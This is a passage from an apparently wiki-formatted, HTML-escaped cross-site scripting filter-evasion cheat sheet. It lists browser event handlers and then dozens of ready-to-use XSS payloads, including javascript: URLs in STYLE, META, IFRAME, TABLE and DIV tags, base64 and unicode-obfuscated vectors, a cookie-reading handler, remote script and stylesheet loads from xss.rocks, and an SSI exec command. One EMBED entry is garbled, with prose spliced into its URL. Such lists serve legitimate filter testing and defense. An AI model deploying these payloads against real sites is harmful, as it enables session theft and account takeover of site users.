# &amp;lt;code&amp;gt;onLayoutComplete()&amp;lt;/code&amp;gt; (user would have to print or print preview)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoad()&amp;lt;/code&amp;gt; (attacker executes the attack string after the window loads)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoseCapture()&amp;lt;/code&amp;gt; (can be exploited by the &amp;lt;code&amp;gt;releaseCapture()&amp;lt;/code&amp;gt; method)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaComplete()&amp;lt;/code&amp;gt; (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaError()&amp;lt;/code&amp;gt; (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMessage()&amp;lt;/code&amp;gt; (fire when the document received a message)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseDown()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseEnter()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseLeave()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseMove()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOut()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOver()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseUp()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseWheel()&amp;lt;/code&amp;gt; (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMove()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveEnd()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveStart()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOffline()&amp;lt;/code&amp;gt; (occurs if the browser is working in online mode and it starts to work offline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOnline()&amp;lt;/code&amp;gt; (occurs if the browser is working in offline mode and it starts to work online)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOutOfSync()&amp;lt;/code&amp;gt; (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPaste()&amp;lt;/code&amp;gt; (user would need to paste or attacker could use the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPause()&amp;lt;/code&amp;gt; (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPopState()&amp;lt;/code&amp;gt; (fires when user navigated the session history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onProgress()&amp;lt;/code&amp;gt; (attacker would use this as a flash movie was loading)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPropertyChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReadyStateChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRedo()&amp;lt;/code&amp;gt; (user went forward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRepeat()&amp;lt;/code&amp;gt; (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReset()&amp;lt;/code&amp;gt; (user or attacker resets a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResize()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeEnd()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeStart()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResume()&amp;lt;/code&amp;gt; (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReverse()&amp;lt;/code&amp;gt; (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowsEnter()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowExit()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowDelete()&amp;lt;/code&amp;gt; (user or attacker would need to delete a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowInserted()&amp;lt;/code&amp;gt; (user or attacker would need to insert a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onScroll()&amp;lt;/code&amp;gt; (user would need to scroll, or attacker could use the &amp;lt;code&amp;gt;scrollBy()&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSeek()&amp;lt;/code&amp;gt; (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelect()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectionChange()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectStart()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStart()&amp;lt;/code&amp;gt; (fires at the beginning of each marquee loop)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStop()&amp;lt;/code&amp;gt; (user would need to press the stop button or leave the webpage)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStorage()&amp;lt;/code&amp;gt; (storage area changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSyncRestored()&amp;lt;/code&amp;gt; (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSubmit()&amp;lt;/code&amp;gt; (requires attacker or user submits a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTimeError()&amp;lt;/code&amp;gt; (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTrackChange()&amp;lt;/code&amp;gt; (user or attacker changes track in a playList)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUndo()&amp;lt;/code&amp;gt; (user went backward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUnload()&amp;lt;/code&amp;gt; (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
# &amp;lt;code&amp;gt;onURLFlip()&amp;lt;/code&amp;gt; (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
# &amp;lt;code&amp;gt;seekSegmentTime()&amp;lt;/code&amp;gt; (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet ==&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.css&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 2 ==&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@import'http://xss.rocks/xss.css';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 3 ==&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;nowiki&amp;gt;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet)&amp;lt;/nowiki&amp;gt; and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 4 ==&lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tags with broken up JavaScript for XSS ==&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE attribute using a comment to break up expression ==&lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG STYLE with expression ==&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag (Older versions of Netscape only)==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE TYPE=&amp;quot;text/javascript&amp;quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background-image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anonymous HTML with STYLE attribute ==&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. &lt;br /&gt;
&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http:&amp;amp;#47;&amp;amp;#47;&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME Event based ==&lt;br /&gt;
IFrames and most other elements can use event based mayhem like the following... &lt;br /&gt;
(Submitted by: David Cross)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=# onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Downlevel-Hidden block ==&lt;br /&gt;
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--[if gte IE 4]&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;lt;![endif]--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BASE tag ==&lt;br /&gt;
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &amp;quot;images/image.jpg&amp;quot; rather than full paths. If the path includes a leading forward slash like &amp;quot;/images/image.jpg&amp;quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BASE HREF=&amp;quot;javascript:alert('XSS');//&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OBJECT tag ==&lt;br /&gt;
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;OBJECT TYPE=&amp;quot;text/x-scriptlet&amp;quot; DATA=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using an EMBED tag you can embed a Flash movie that contains XSS ==&lt;br /&gt;
Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;EMBED SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
org/xss.swf&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== You can EMBED SVG which can contain your XSS vector ==&lt;br /&gt;
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;EMBED SRC=&amp;quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&amp;quot; type=&amp;quot;image/svg+xml&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using ActionScript inside flash can obfuscate your XSS vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;a=&amp;quot;get&amp;quot;;&lt;br /&gt;
b=&amp;quot;URL(\&amp;quot;&amp;quot;;&lt;br /&gt;
c=&amp;quot;javascript:&amp;quot;;&lt;br /&gt;
d=&amp;quot;alert('XSS');\&amp;quot;)&amp;quot;;&lt;br /&gt;
eval(a+b+c+d);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XML data island with CDATA obfuscation ==&lt;br /&gt;
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML ID=&amp;quot;xss&amp;quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;amp;lt;IMG SRC=&amp;quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&amp;quot;&amp;amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=&amp;quot;#xss&amp;quot; DATAFLD=&amp;quot;B&amp;quot; DATAFORMATAS=&amp;quot;HTML&amp;quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==&lt;br /&gt;
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML SRC=&amp;quot;xsstest.xml&amp;quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML+TIME in XML ==&lt;br /&gt;
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;?xml:namespace prefix=&amp;quot;t&amp;quot; ns=&amp;quot;urn:schemas-microsoft-com:time&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?import namespace=&amp;quot;t&amp;quot; implementation=&amp;quot;#default#time2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;t:set attributeName=&amp;quot;innerHTML&amp;quot; to=&amp;quot;XSS&amp;amp;lt;SCRIPT DEFER&amp;amp;gt;alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Assuming you can only fit in a few characters and it filters against &amp;quot;.js&amp;quot; ==&lt;br /&gt;
you can rename your JavaScript file to an image as an XSS vector:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.jpg&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSI (Server Side Includes)== &lt;br /&gt;
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo '&amp;lt;SCR'&amp;quot;--&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo 'IPT SRC=http://xss.rocks/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;? echo('&amp;lt;SCR)';&lt;br /&gt;
